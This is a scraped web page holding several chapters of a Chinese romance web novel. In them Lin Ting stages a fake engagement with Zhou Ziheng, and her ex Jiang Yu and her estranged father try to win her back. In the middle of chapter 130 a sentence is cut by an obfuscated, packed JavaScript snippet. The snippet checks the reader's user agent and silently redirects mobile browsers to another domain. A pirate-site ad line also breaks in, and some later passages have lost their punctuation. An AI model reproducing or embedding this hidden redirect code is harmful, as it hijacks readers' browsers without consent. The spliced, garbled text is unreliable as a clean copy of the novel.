要生弟弟妹妹 林听戴着周自衡给的这枚戒指,盯着它看了好一会儿。 细碎的流光似在指间流转。 加上她是冷白皮。 顿时生出一种高级感来。 她已经有许多年,没有再戴过戒指了。 上一次戴上这样璀璨夺目的戒指,还是在她入狱之前。 不过,是偷偷戴的。 那时,江遇为她准备了惊喜。 应该是用来向她求婚的婚戒,他没让她知道。 但是被她发现了。 她偷偷试戴过,又偷偷放了回去。 那时她满心欢心地等待着,江遇向她求婚。 她也准备在那个时候告诉江遇,她怀孕的好消息。 没想到,等来的却是一纸诉状。 江遇和林建国林振宇一起,将她送进了监狱。 仿佛是上辈子的事情。 又仿佛还在昨天。 那么久远,又那么刻骨铭心。 时至今日,想起过去那些事情,胸口依然会有阵阵的灼烧感。 疼得快要窒息。 好在她还活着。 那些她走错过的路,她再也不会再走一遍了。 她盯着这枚戒指,出了神。 直到周自衡的声音,将她拉回现实世界里。 “虽只是道具,但也必须时时戴着。” “不能摘了。” 这声音醇厚温润,似暖玉轻击。 萦绕在耳畔,令人舒心。 林听心中的窒息感,顿时散去了一大半。 她笑着回应周自衡,“知道啦,谢谢你送的道具。多少钱?我转你。” 周自衡:“记账,以后一起还。” 林听笑道:“那我岂不是欠你的越来越多?” 她要给房租水电费,他让记账,以后还。 买戒指的钱,他也要记账。 这时,周自衡勾着唇角,笑道:“放心,我会讨回来。” 不得不说,这个铁血刚毅的男人笑起来,真的太温柔了。 笑意顺着他舒展的嘴角,轻轻荡开。 他整个硬朗的五官,都因这个笑容而变得柔和了许多。 难怪那些豪门圈子里的名媛千金们,一个个的宁愿倒贴,也想爬他的床。 “周自衡,等你找到女朋友,我就让位。” “到时候送你们一份大礼。” 说着,林听像是好哥们一样,拍了拍周自衡的肩。 她没注意到的是,周自衡嘴角荡开的笑意,瞬间僵冷。 就在这个时候,刷完牙的柚子小朋友,走出来。 看到周爸爸和妈妈,她欢喜地扑过来。 周自衡立马蹲下来,将柚子抱在怀里。 “下楼吃早餐,周爸爸有个好消息要宣布。” 餐厅。 三人坐下来。 洛婶和洛叔已经准备好了早餐。 周自衡给柚子拿了一块现烤的蔓越莓的蛋糕。 这时,柚子才注意到,周爸爸的无名指上有一枚漂亮的钻戒。 哇瑟,妈妈也有哎! “周爸爸,你和妈妈是不是在谈恋爱了?” “你们竟然有同款的情侣戒指。” 柚子看着两个大人,一脸鬼灵精怪的笑容。 看起来,小柚子是那样的明媚,那样的快乐。 仿佛,等着周爸爸和妈妈谈恋爱的这一天,她已经等了许久了。 周自衡轻轻揉了揉柚子的脑袋,“那你同意周爸爸和妈妈重新组建一个家庭吗?” 柚子兴奋地举起双手,“我举双手双脚赞成。” 周爸爸可要比她那个渣爹强上百倍千倍。 而且周爸爸救了妈妈一命。 柚子严重怀疑,周爸爸一直暗恋妈妈。 她当然愿意让周爸爸和妈妈在一起。 林听知道,周自衡如此向柚子宣布这件事情,是想让所有人信服,她和他真的在一起了。 可是这个男人和孩子说起这件事情时,如此庄重认真。 好像是真的在征求她的意见一样。 倒真是会演戏! 坐在旁边的林听,一脸笑意。 这时,柚子转过脑袋来,看着她: “妈妈,周爸爸是一个很好的人。” “柚子希望你和周爸爸在一起后,能够忘掉过去那些痛苦,开始新的生活。” 她的柚子,还是如此懂事。 她也配合着周自衡,演起戏来。 摸摸柚子的脑袋,道,“好,我们都要开始新的生活。” 突然,柚子又有些担心。 她再次望向坐在餐桌对面的周自衡。 “周爸爸,你真的不介意,我妈妈带着我这么一个拖油瓶吗?” 这句话,懂事得让周自衡心疼。 也让林听心疼。 她赶紧摸了摸女儿的脑袋,认真慎重道: “柚子,你不是妈妈的拖油瓶,你是妈妈的宝贝,你是妈妈的全部。” 说起这句话时,林听是哽咽的。 看着泪光盈盈的母女俩,周自衡起了身,绕过餐桌,走到餐桌对面的母女俩身旁。 他把柚子抱起来,放在自己的大腿上。 “柚子,你从来不是什么拖油瓶,你是这世间独一无二的掌上明珠。” “是爸爸的掌上明珠。” 要不是事先说好的,他们只是演戏。 林听差点被周自衡的煽情给感动哭了。 周自衡怀里的柚子,咬着唇。 大大的双眼里,浸满了感动的泪水。 她终于有爸爸了。 她从小就盼着能有一个温暖的家庭。 亲生父亲带给她的伤害,她从来不表现出来。 尤其是在妈妈面前。 她总是安慰妈妈,只要有妈妈陪着,她就足够幸福了。 可是,她小小的心灵仿佛是缺了什么。 空落落的。 周爸爸的那一句:“她是爸爸的掌上明珠”,让她缺失的心灵被填得满满的。 她落下幸福的泪水,“我以后叫你爸爸,可以吗?” “当然!”周衡拭过柚子脸上的泪水,温柔道,“吃完早餐,爸爸妈妈送你去幼儿园。” 柚子破涕成笑,“爸爸,一会儿我要把这个好消息告诉落落姐姐,外公外婆,告诉宋爸爸,告诉我们幼儿园的老师。” 见柚子笑得如此欢喜,周自衡也勾了勾唇角,“好!” “爸爸,那你和妈妈以后还会生弟弟妹妹吗?” “当然!”周自衡回答柚子是,一脸泰然自若。 倒是旁边的林听,怎么听着,都有心虚和不自在。 这戏好像演得有些过了。 偏偏这个时候,柚子抱着周自衡的脖子,又说,“爸爸,我想再要一个弟弟,两个妹妹,我好想我们家热热闹闹的,可以吗?” 周自衡耐心地问,“还要妈妈再生三个?” 柚子:“四个五个也行。” 周自衡:“那妈妈会很辛苦。” 柚子:“那就再生一个弟弟,一个妹妹,好不好?” 这一大一小,再这样聊下去,倒成真的似的。 林听不由咳嗽了一声,“好啦,柚子,去叫落落姐姐上学了。” …… 隔壁别墅,宋律风家。 落落正在准备书包,见柚子蹦蹦跳跳而来。 接着,柚子忍不住把爸爸妈妈在一起的消息,告诉了大家。 此时此刻,宋律风拿着公文包,毫不意外地望过来,“柚子,你都改口叫周爸爸为爸爸了,看来,你是真的很愿意当周爸爸的女儿。” 柚子嘴特别甜,“宋爸爸,我也是您的宝贝女儿呀。” 张淑琴和周国立听闻这个好消息,不停地问东问西。 他们不敢相信,林听和周自衡真的在一起了。 直到送柚子和落落走出别墅,见到周自衡和林听手上戴着同样的情侣戒指。 几人笑得合不拢嘴。 唯有宋律风火眼睛睛,大约猜到二人在一起的真正目的。 宋律风趁大家的注意力都在林听身上时,在周自衡旁边,小声道,“希望你早日假戏真做,加油!” 周自衡笑了笑,“果然是宋大律师!” 这天早上,由周自衡和林听,一起送柚子和落落,去往东江国际幼儿园。 和往常一样,他们在幼儿园门口,遇见了故意制造偶遇的江遇。 第127章 筹备婚礼 这是江遇到柚子幼儿园,故意接近林听柚子母女的——第七天。 每一天清晨,江遇会提前来到幼儿园校门口。 来之前,他会在家中精心打扮一番。 三十三岁的成熟男人,穿着林听十七八岁送给他的衣服。 没有丝毫的违和感。 他还是和那个时候一样,意气风发,风华绝代。 他睿智的眼神中,明明沉淀着时光的重量。 转眼目光落在林听身上,却又满是当年那个少年的影子。 林听只是看了江遇一眼,便知道,这个男人的眼神,又回到了少年时对她满眼溺爱的样子。 许多回忆被勾起来,但林听强行切断自己脑海里的记忆。 不去想,也不愿想。 迎面走来的江遇,她只是冷冷淡淡地扫了一眼。 很快抽开了目光。 再不看江遇一眼。 这细微的神情,被江遇尽收眼底。 胸口忽然一阵紧缩。 那个时候的林听,明明很爱他的。 每一年,每一季,她都会亲自精心替他挑选换季的衣服。 他一直保留到现在。 来这里七天,他每天换一套,她曾经给他买过的衣服。 原本是希望,能够勾起林听曾经那些甜蜜恩爱的记忆。 可是林听,只冷冷淡淡地扫了他一眼。 一点多余的眸光,也不想再停留在他身上。 仿佛看他一眼,是在浪费她的时间。 胸口的紧缩感,越来越强烈。 强烈到让人窒息。 江遇只好把目光,落在女儿身上,对着女儿温柔一笑。 以此来掩饰他心中钝痛。 “柚子,早上好!” 柚子比林听更坚定,连片刻的目光也没给江遇。 她直接无视江遇的存在,拉着周自衡和林听,走到校门口迎接孩子们的园长老师们面前。 然后,笑着和大家介绍: “园长,老师,早上好。” “这是我爸爸和妈妈。” 园长和老师其实是懵圈的。 之前,柚子有个宋爸爸。 后来又有一个林江医药的江总,为幼儿园捐赠了一个亿,说是柚子的亲生父亲。 现在,又有一个和妈妈在一起的爸爸。 不过,柚子妈妈长得漂亮。 一张精致的国泰民安脸,实在让人过目难忘。 柚子第一次来学校的时候,见到妈妈,园长和老师们就记住了她的模样,经常在背后议论这位妈妈颜值惊人。 所以连带着柚子,也成了幼儿园的团宠人物。 加上几日前,江遇突然给学校捐了一大钱,说是柚子的亲生父亲。 一时之间,林听成了幼儿园这些年轻幼师们,人人羡慕的美女姐姐和人生赢家。 因为,她身边围绕着的三个男人,一个赛过一个。 学校们的传言,柚子当然也会回来告诉林听。 正好现在柚子告诉了园长和老师们,林听便大大方方承认道: “园长,老师,谢谢你们平时照顾柚子。” “我和我未婚夫快结婚了,到时候给大家发喜糖。” 这句话,是特地说给身后的江遇听的。 不用看,她也知道,江遇的目光一定落在她的身上。 园长和老师们大概清楚了。 柚子是柚子妈妈和江总生的孩子。 不过柚子妈妈,要嫁给眼前这位,比江总这样绝代风华的男人,还要更有男人味的男人了。 她们笑着说恭喜。 林听和周自衡也微笑着说谢谢,然后招手目送着柚子和落落两姐妹进了幼儿园。 等两姐妹进去了,瞧不见了,林听和周自衡才和园长老师告别,转身,准备离开。 就在这个时候,周自衡自然而然地,牵起了林听的手。 林听紧崩了一下。 随即,周自衡握得更紧。 掌心里传来的,不只是周自衡的温度,还有他的厚茧与伤疤。 碰触到他的伤疤,林听不由想起周自衡从小到大的至黑至暗的经历。 这个男人,总是让人这么心疼。 如果有一天,能够有一位阳光美丽的女孩,真正走进周自衡的心里,该有多好! 她盼着周自衡的未来能够被人治愈,完全忽略了此时此刻,正盯着他们满眼醋意翻涌的江遇。 而周自衡,故意在江遇面前停下来。 牵着林听的手,漫不经心抬手间,故意将两人手中的戒指,亮在江遇的面前。 然后,对着江遇,淡淡道: “我们正在筹备婚礼。” “你说过,等我大婚,你和书臣要当我的伴郎。” “到时候我让洛高把伴郎服,给你送过去。” 就是这淡淡的语气,刺激着江遇的大脑。 周遭所有的声音,似乎都在这一刻消失了。 只剩下周自衡说他们要筹备婚礼的声音,在脑海里回荡。 像是一个下了咒的咒语一样,顿时将江遇整个人定在那里。 周遭一切,突然变成了一片灰暗。 天地间,只剩下手牵着手,戴着情侣戒指的林听周自衡二人,恩爱地立于他的面前。 那一刻,江遇大脑宕机似的。 好半天,没有缓过来。 等他缓过来的时候,周自衡已经牵着林听,走到了马路对面的,那辆酒红色的红旗国耀的车门前。 江遇抬腿追过去。 马路中央有车流穿过。 他毫不在乎。 一辆越野车,差点撞到他身上。 刺啦一声! 车子踩了个急刹车,江遇丝毫没有停下来。 又是刺啦一声! 急匆匆朝马路对面追过去的江遇,被后面的一辆面包车,闯了一下。 他被撞开两三米远。 倒在地上,手掌擦出一大片血渍来。 好在面包车刹车踩得及时。 司机探出脑袋来,大骂了一句,“不要命了!” 哪里还有人回应司机。 江遇已经爬起来,追到了那辆酒红色的红旗国耀车前。 只是这个时候,林听和周自衡已经上了车。 车子启动。 江遇想要追上去时,车子已经远去了。 刚刚车子撞到他,林听连头也没回一下,冷漠绝情地上了车。 直到车子走远,他仍未反应过来,他的手在汩汩地滴着血。 曾经,他但凡是受一点点伤,林听都会心疼哭的。 可是,她真的头也不回。 林听真的不要他了吗? 那个和他一起捏陶瓷娃娃,一起在陶瓷娃娃上刻下——赤绳早系,白首永偕的林听,真的不要他了吗? 第128章 你是来捅我心窝子的吧 车子在江遇面前来来往往,穿流不息。 江遇掌心里的血渍,依旧汩汩地往下淌落着。 可是他仍然望着周自衡和林听离开的方向,丝毫察觉到不痛。 酒红色的红旗国耀,越开越远。 坐在副驾驶室的林听,只淡淡地扫了一眼后视镜。 镜中的江遇被车子撞了一下。 爬起来后,江遇又追向他们。 如果换作以前,林听早就下车,早就快速奔到江遇面前,心疼哭了。 可是现在,她只淡淡地扫了一眼。 很快抽开目光。 那个男人是她入狱之前,一直想要嫁的男人。 他占据了她的整个前半生,从她牙牙学语到亭亭玉立。 她生下了他的女儿。 她承认,看到他被撞的那一下,她的心还是条件反射地紧了一下。 可是她告诫自己,以后这个男人的所有事情,都跟她没有任何关系了。 他是死是活,她都不会再有半丝情绪。 周自衡好像看穿了她的心思。 他握着方向盘,看了她一眼,“放心,刚刚那一撞不会出人命,顶多皮外伤。” 林听看着车窗外的风景,坚定道,“我没有担心他。” 周自衡没有再说话。 他握着方向盘认真地开着车子。 他不确定,林听是不是真的不再关心江遇了。 如果她还会在意这个男人,他会把她骂醒。 但是,此刻,周自衡的胸口酸酸的,堵堵的。 连空气也变得又酸又涩。 江遇早已被甩在车后了,可是他是横在周自衡心中的一根刺。 经年累月,越扎越深。 车子在一处红绿灯路口,停下来。 周自衡见林听依旧盯着车窗外的风景。 他伸手,扣住了林听搭在腿上的左手。 林听这才反应过来。 看向他时,他掏出手机,拍了一张他们十指紧扣的照片。 随即,松开她的手。 林听不明白,这是…… 然后,见周自衡把刚刚拍的照片,换到了他的微信头像上。 林听这才明白,她跟着下载了周自衡的头像,也传到了自己的微信头像去。 这样一来,所有人都会相信,他们在谈恋爱了。 希望江遇看到后,能够死了与她破镜重圆的心。 …… 幼儿园门口。 江遇一直没有察觉到疼痛。 直到目睹这一切的幼儿园园长,走过来,喊了他几声。 又轻轻拍了拍他的肩。 他才抽回神思。 “园长!” “江总,你没事吧,你流血了。” 江遇这才发现,自己的掌心擦掉了好大一块皮。 鲜血浸出来,止也止不住。 此刻,他才意识到掌心里那股钻心的疼痛,正密密麻麻地蔓延向四肢百骸。 也是这阵钻心疼痛感,提醒着他: 他的听听,真的不要他了。 真不要他了! 浸出来的鲜血,弄脏了衣袖,弄脏了裤脚。 这套上橙下黑的运动套装,是林听送给他的。 他不能让它染上鲜血。 他和园长告了别,然后回了珠江南岸。 珠江南岸这套房子,是早年他为林听准备的婚房。 那时,林听还没有入狱。 林听喜欢的装修风格,是法式奶油风。 当时,他完全按照林听的喜好,满心欢喜地装修了他们的婚房。 这套房子,多年来一直打扫得干干净净。 院子里,也种满了林听最喜欢的洋桔梗。 他忍着掌心里的疼痛,带着阴雨满布的心情,走进了客厅。 客厅里,陈叔踩在梯子上。 旁边的吴婶扶着梯子。 见到他回来,梯子上的陈叔一脸为难道: “江先生,这些贴在墙上的喜字,都贴了快六年了。” “下面这个口字,刚刚掉下来了,一碰就断成了两截,粘也粘不住。” “要不,干脆都撕了吧。” 这六年来,陈叔和吴婶亲自来这边打扫。 因为江遇不让别人进来。 而且还要保持原样。 连墙上贴着的喜字,也不让摘。 就连他和林薇薇要举行婚礼之前,这里为林听准备的喜字,也是不让撕下来。 所以陈叔和吴婶一直知道,就算江先生要娶林薇薇,江先生也是不爱林薇薇的。 江遇看着那半截掉下来的,不完整的喜字。 那残缺的部分,就像他此刻的心一样。 说不上是什么感觉。 心里突然缺了一角,空落落的,还很疼,很疼。 他阴沉着脸,紧蹙着眉心,低落道: “麻烦陈叔吴婶,一定要恢复不样,不能撕下来。” 珠江东岸是他为林听准备的婚房。 他从来没有忘记过,他当初对林听许下的誓言。 他只是太蠢了,蠢到误以为是林听先背叛了他,才那么恨她。 可是从头到尾,他爱的人都只有林听,永远都是林听。 他要保留着珠江南岸最初的样子。 他要让林听知道,他一直都是想娶她的。 这个时候,梯子旁的吴婶才看到,江遇掌心里的大片血迹,以及被血迹弄脏的裤子和衣袖。 吴婶关心道,“江先生,您受伤了。” 江遇丝毫不理会自己的伤,“没事,我上楼换衣服。” 吴婶望着他的背影。 明明挺拔伟岸,可是她感觉他宽阔的肩似乎随时都会塌似的。 “江先生,您脱下来的衣服,一会儿我替您手洗。” 江遇上了楼,“不用。” 这套衣服是林听送给他的,他会亲手洗干净。 大约过了十几分钟。 江书臣走进了客厅。 看见陈叔和吴婶还在修复着墙上的喜字,他不由叹了一口气。 江书臣知道,珠江周岸是当初江遇为林听准备的婚房。 这些喜字,也是当初贴上去的。 唉!这个男人,现在深情有什么用? 他问,“陈叔,吴婶,江遇在家吗?” 陈叔从梯子上缓缓爬下来,“刚刚上楼。” 噫! 地上新鲜的血迹是怎么回事? 江书臣看了看地毯,又看向梯子上的人,关切道: “陈叔,吴婶,地毯上怎么会有血迹,你们没受伤吧?平时干活的时候,你们要当心一些。” 吴婶紧拧着眉心说,“是江先生,他好像受伤了,不过应该不严重。” 江书臣:“我上去看看。” 楼上。 手上包着纱布的江遇,正在搓洗着一套衣服。 那套衣服,江书臣一眼认出来,是林听曾经送给江遇的。 没想到这个男人一直留着。 江书臣看着他,明明受伤了,还要亲手搓洗这套衣服。 衣服上有血迹,应该是刚刚染上的。 “江遇,网络上流行一句话,迟来的深情比草贱!” 江遇不顾江书臣的突然来到,依旧搓洗着。 白色的裤子染了血迹,怎么搓也搓不掉。 难道,真的回不到从前的样子吗? 他抬头,看向江书臣,问,“有没有什么办法,可以去除掉这些血迹?” 江书臣拧着眉心回答,“去掉了又怎么样,你和林听能回到过去吗?江遇,放手吧。我看到阿衡换头像了。” 周自衡的微信头像图片,原本是一叶风雨飘摇的破烂小舟,沉浮于暴雨狂风的大浪之中。 现在彻底改成,他和林听手牵着手,十指紧扣的自拍图。 江遇擦了擦手,拿起江书臣的手机,点开看了一眼。 男人的大掌,紧扣着女人纤细白皙的五指。 两枚璀璨生辉的情侣戒指,那样眼熟,那样刺眼。 江遇胸口发紧,黑着脸色把手机用力甩给江书臣,“你是来捅我心窝子的?” 第129章 我和妈妈不需要你 砸向江书臣的,何止是一部手机。 更是江遇心中翻腾的痛苦与怒意。 以至于这力道大了些。 江书臣嘶一声,忍着痛,皱眉,又说: “小听的头像也换了。” “你要不要看一看?” 他不是来捅江遇刀子的,他是让他清醒一些。 “阿遇,至少小听现在还活着。” “你能不能别沉浸在过去的回忆里,别再纠缠小听和柚子了?” “你每天去柚子幼儿园当美术老师和体育教练,能改变什么?” “柚子理你了吗?” “这么大个集团,难道你就真的不管不顾了?” “我不管,下周一的医药研发学术大会,你必须亲自参加。” “我们的研发团队,需要人才。” “学术大会上,那几位重量级的医学专家只有你亲自去,才能请得动。” 这才是江书臣今天来找江遇的主要目的。 刚刚提起周自衡和林听一起换情侣头像的事情,只不过是顺带说了一嘴。 江书臣又说,“阿遇,林听喜欢的,是曾经闪闪发光的你,而不是现在这样的狗皮膏药。” 狗皮膏药几个字,让江遇眼神一暗。 这个形容太贴切,也太刀人。 “书臣,我真的是块狗皮膏药?” 江书臣用沉沉的叹气声,回应着江遇。 一声叹息后,拍拍江遇的肩,“自己造的孽,自己扛。” …… 东江幼儿园。 又到了柚子上美术课的时间。 这是江遇来这所幼儿园当美术老师,给柚子上的第八节美术课。 也是他第八次,近距离接触柚子。 “小朋友们,我们今天学的是肌理画。” “肌理画是将颜料与沙子混合在一起,进行创作的一种绘画形式。” “下面我们请林瑾一小朋友,把这些绘画材料发给在座的每一位同学。” “林瑾一小朋友,你可以帮一下老师吗?” 林瑾一就是柚子。 那是江遇亲自为柚子取的名字。 每每喊到这个名字,江遇心中愧疚翻倍。 那种血脉相连的亲情牵绊,也翻了倍。 柚子虽然恨江遇。 可是她是一个很有礼貌的孩子。 “老师”叫到她,她也乖巧起身,去拿着那些材料,一一发给班里的二十个小朋友。 全程,她没有看江遇一眼。 发完绘画材料,坐到位子里,小脸气鼓鼓的。 真是烦死了。 她根本不愿意见到这个深深伤害过她的人。 可是他偏偏像狗皮膏药一样,甩都甩不掉。 气死啦! 肌理画,柚子早就学过了。 偏偏江遇教大家画的时候,时不时地走到她的面前。 一会儿指点她这样画,一会儿又指点她那样画。 真的好烦人吖! 这节美术课对柚子来说,变得好生无趣。 她的小眼神,不知道刀了江遇多少回。 美术课临近结束前。 江遇拿起柚子创作的肌理沙滩画,当着全班同学,表扬了她。 他把画作还回给柚子的时候,想摸摸柚子的脑袋。 小脑袋避开了。 江遇抬在半空的手,僵了僵。 最终收回来。 他知道,柚子讨厌他。 可是,他只能用这样的方式,来接近自己的亲生女儿。 看着柚子拿着自己的画,气鼓鼓地回到座位,他的心里很不好受。 他看着柚子,心里沉沉道:柚子,你一定不知道,爸爸看不到你的时候,是有多想你! 他只希望这节美术课的时间,能够变得长一些,再长一些。 哪怕能够多看柚子一眼,心里也会宽慰许多。 可是,转瞬间,下课铃响了。 江遇只好万分不舍地,离开教室。 下课后,他去了园长办公室。 园长正在忙。 见到他还是立即起了身,客客气气道,“江总,怎么样,这节课和柚子的关系缓和了一些吗?” 江遇苦涩一笑。 这苦涩的笑容,即是他的答案。 园长也明白了,不由劝了一句,“没事的,江总,血始终浓于水,林瑾一始终是你的女儿,她一定会原谅你的。” 江遇的心里挺苦的。 他知道,女儿不会那么容易原谅他。 但他不会放弃。 这时,园长办公桌上的一颗糖果,吸引了江遇的视线。 “好漂亮的糖果!” 园长挺尴尬的。 因为那颗糖果,是上节课课间时间,柚子小朋友送过来的。 送来的时候,柚子说,爸爸妈妈要结婚了,以后还会给她生一个弟弟一个妹妹。 柚子嘴里所谓的爸爸,并不是江遇。 园长知道,那是柚子妈妈现在的未婚夫。 她赶紧把那颗糖果放进抽屉里,“不好意思,江总,这颗糖果不能分享给你。” 这时,门口传来细微的敲门声。 二人同时望去。 是柚子。 柚子看向园长,“园长妈妈,我可以和江老师说句话吗?” 园长点头,“当然可以!” 很快,办公室里只剩下江遇和柚子二人。 柚子走过去,递给江遇一样东西。 “我爸爸妈妈就快结婚了,这是喜糖。” 白白嫩嫩的小掌心里,摊着一颗彩色的可爱糖果。 那颗糖果,园长也有一颗。 江遇这才知道,那是柚子送给大家的喜糖。 就在刚刚,他满心欢喜地以为,柚子对他的态度有所改变了。 没想到,如此扎心。 柚子看着他,眼神冷冷冰冰的。 “等我爸爸和妈妈结婚后,他们还会给我生一个可爱的弟弟,再生一个可爱的妹妹。” “我和妈妈不需要你。” “以后,希望你不要总是出现在我和妈妈面前。” “这样真的很烦人。” 说完,柚子的小脸颊气鼓鼓的。 这稚嫩的声音,也是冷冰冰的,带着憎恨之意。 说完,柚子便转身离开了。 那团小小的身影,消失在视线里时,江遇捏紧手中的糖果。 这是女儿送给他的第一件东西。 明明是甜的,却让他像是被浸在毒药里一样,心中苦涩不堪。 第130章 她的婚事,他们没资格管 大概是心里太苦了,江遇把糖纸剥开。 那颗柚子给他的糖果,他吃进了嘴里。 本以为糖果的甜味,能让他心里的苦痛减轻半分。 没想到越是甜味入喉,越是胸口发紧。 因为,他满脑子回荡着柚子刚刚对他说过的话。 她说他很烦人。 她还说,她的爸爸妈妈会给她再生个弟弟妹妹。 那个爸爸,指的是周自衡,不是他。 吱呀一声。 门被推开。 园长回到办公室时,见他眼眶发红发潮,只怪自己回来的不是时候。 “江总,这是……和柚子聊得不太愉快?” 江遇转身,背对着园长,擦了擦眼角的泪。 转身回头时,又恢复了之前那个平静绅士的他。 “没事,就像园长说的一样,血始终浓于水。” 他相信,早晚有一天,柚子一定会和他相认的。 “园长,我可能没有办法每天都到学校来上美术课了。” “但是希望您替我保留这个位置。” “孩子们的美术课,我尽量抽时间过来。” “至于时间安排,我会让我的助理提前和您联系。” 园长点点头,“看得出来,江总是一个好父亲,希望你和柚子的父女关系,早日修复。” …… 林建国出院的这一天,回到静怡别苑,已经是午后了。 林振宇搀扶着他坐下来,“爸,你刚刚恢复,这些天要在家里好好休息,哪也别去了。” “振宇,我想见见小听。”林建国满心满脑,都是他的宝贝女儿——林听。 他对林听,有着太多的愧疚和自责。 坐下来后,他又问,“振宇,小听还住在宋律风家里吗?我让你准备的东西准备了吗,一会儿就去宋律风的家里。我要亲自和小听说对不起,亲自请求她原谅。” 林振宇往林建国的身后,塞了一块枕头。 林建国被苏秀珍从身后捅了一刀。 虽然康复了,但是落下了腰疼的毛病。 尤其是这样阴雨绵绵的天气里,疼得要命。 替林建国塞完枕头,林振宇才又说,“爸,小听已经不 住在宋律风的家里了他们办了离婚手续。” 林建国颇为感慨道: “办了离婚也好他们本来就不是真实夫妻。” “当初也是难为你妹妹了为了给柚子找个监护人她吃了太多的苦受了太多的罪。” “小听应该是一直爱着江遇的。” “振宇当初我们真的太浑蛋了。” 为了让林薇薇和江遇在一起他们父子俩做了太多对不起小听的事情。 林建国特意吩咐道“振宇啊好在江遇并没有和林薇薇有实质的夫妻关系也没有领证。现在要想办法让小听和江遇重新在一起。” 这孩子从小就跟在江遇屁股后面。 她才五六岁时就吵着闹着长大了要嫁给江遇。 并且他们俩还有一个共同的孩子——柚子。 林建国是希望小听能够重新和江遇在一起的。 这事让林振宇有些为难“爸小听和周自衡在一起了。” “怎么可能呢?”林建国颇为不解“之前不是一直是误会了他们俩吗?” 林振宇神色阴沉颇为担忧道: “这次是真的在一起了。我听江书臣说的。” “小听已经搬去周自衡那里去住了。” “周自衡特意在宋律风隔壁买了一栋别墅。” “我怕他对小听居心叵测。” 想到自己的女儿没经过他的同意便和一个靠不住的男人在一起了。 林建国是既愤怒又担忧。 “周自衡为了坐上周家家主之位心狠手辣连亲兄弟也要赶尽杀绝。” “他接近小听是什么目的?难不成还想觊觎我们林家背后的产业链?” 林振宇点点头“不排除这个可能。” 气愤的林建国用力拍了拍沙发“我不同意小听和周自衡在一起。” 就在这时曹叔拿来了一个文件“林总林先生这是**寄来的传票 林振宇接过来拆开一看。 这是林听要和他们打官司要拿回属于妈妈唐婉华留给她的遗产。 原本林建国和林振宇已经准备好要把名下许多股份和动产不动产都转 到林听的名下。 不只唐婉华的那一份连他们的也想送给林听。 以表他们的忏悔之心。 得知林听和周自衡在一起父子二人的态度立即发生了变化。 …… 傍晚。 君悦府。 周自衡林听柚子三人正坐在餐桌上吃着晚饭。 洛叔上前“周先生林小姐林建国和林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743030|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 振宇父子二人来了他们在外面等着。” 提到林建国和林振宇二人林听吃饭的心情也没有了“他们有说什么事吗?” 洛叔答道“说是关于你母亲遗产的事情想和你私下解决。” 林听不想见到这两个人“没什么好私下解决的。洛叔帮我转告这两个到时候宋律风会全权帮我处理打官司的事情。有什么问题让他们直接联系宋律风。宋律风的态度就是我的态度。” 他不想和他们当面谈。 洛叔走出去把林听的态度转告给了林建国林振宇父子二人。 没有见到女儿林建国很着急。 他急切地想要见女儿一面都被洛叔拦着。 最后两父子硬闯。 洛叔也拉下了脸色“二位你们还是回吧否则一会儿难堪的是你们。” 洛叔身后 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节)是洛高的好几个手下。 他们负责别墅的安保工作一个个魁梧高大排成一排将林振宇和林建国父子二人拦在外面。 林建国朝别墅最近的一面落地窗望去。 那是别墅餐厅的位置。 明明能看见女儿和小外孙女坐在餐桌上吃饭可是他却连走近了和女儿说句话的机会也没有。 他知道小听恨他可是他始终是小听的父亲啊。 难道小听忘了她小的时候他是怎么把她宠到大的? 她忘了爷爷奶奶说她是赔钱货是死丫头的时候他是如**护她和爷爷奶奶吵翻天最后断绝来往的? 这些都不重要。 重要的是林建国担心小听被周自衡给骗了。 他对着落地窗餐厅的方向大声喊道: “小听不只你妈妈的遗产是你的。” “连爸爸和哥哥的都可以全部给你。” “但是爸爸不同意你和周自衡这个心狠手辣的人在一起。” “你和他在一起会被他伤害的。小听你听听爸爸的劝……” 隔着一道玻璃窗林建国的喊话声轻了许多。 林听还是听得清清楚楚。 她给站在外面的洛叔打了一个电话“洛叔告诉林建国我的父亲只有周国立。我的婚事他没资格管也管不着。” 电话里的内容洛叔转告给林建国了。 然后比了一个手势“二位请吧。” 第131章 男人强有力的荷尔蒙气息 林建国和林振宇被赶走后,林听依旧一脸阴云。 这两个人也好意思来插手她的感情问题? 哪来的脸呢? 气鼓鼓的她,看向周自衡。 周自衡哪里心狠手辣,卑鄙阴险了? 林建国和林振宇看人看事,还是和以前一样,只看表面。 依她看来,周自衡重情重义,有恩必报,比起林建国和林振宇的人品,不要好太多。 而林振宇和林建国对她做的那些事情,那才叫心狠手辣。 明明她被气得不轻,却看着周自衡,安慰道: “周自衡,你别听那两个人胡说八道。 “你比他们好太多。 对周自衡来说,这点诋毁算什么? 他经历过血雨腥风,经历过亲人的背叛、利用、算计。 林家父子说两句,根本无关痛痒。 坐在餐桌对面的周自衡,看着林听道: “放心,我周自衡若是想娶哪个女人,谁来阻止,都是无济于事。 林听闻声望云。 周自衡明明是淡淡的语气,却透着某种掷地有声的霸气。 字字带着重量。 可男人眼底的波澜却藏得极深。 仿佛连**都能被吞进他眼中平静的深渊中。 对于林振宇和林建国的诋毁,他是那样的不屑一顾。 林听好半天都没反应过来……可是他们只是假情侣啊,周自衡为什么说得如此认真? 直到柚子的小手,落在她的手上,她才抽回神思。 “妈妈,你不要难过了。 “恶毒舅舅和恶毒外公不要你了没关系。 “你还有我和爸爸,以后还会有弟弟妹妹。 “我们都很爱你。 周自衡顺着柚子的话题,给林听夹了一块香煎深海雪鱼,“柚子说得对,我们都很爱你,不要难过。 林听知道,他是在柚子面前演得真一些,所以才顺着柚子说。 她高兴地说了一声,“谢谢! “一家三口,继续其乐融融地吃着饭。 似乎刚刚林家父子从不曾来过,也从不曾影响过林听的心情。 夜里。 柚子睡下 了。 周自衡去敲了敲林听的房间门。 林听刚好在看一些中医相关的医书。 进监狱之前,她的学业荒废了,学籍也被开除了。 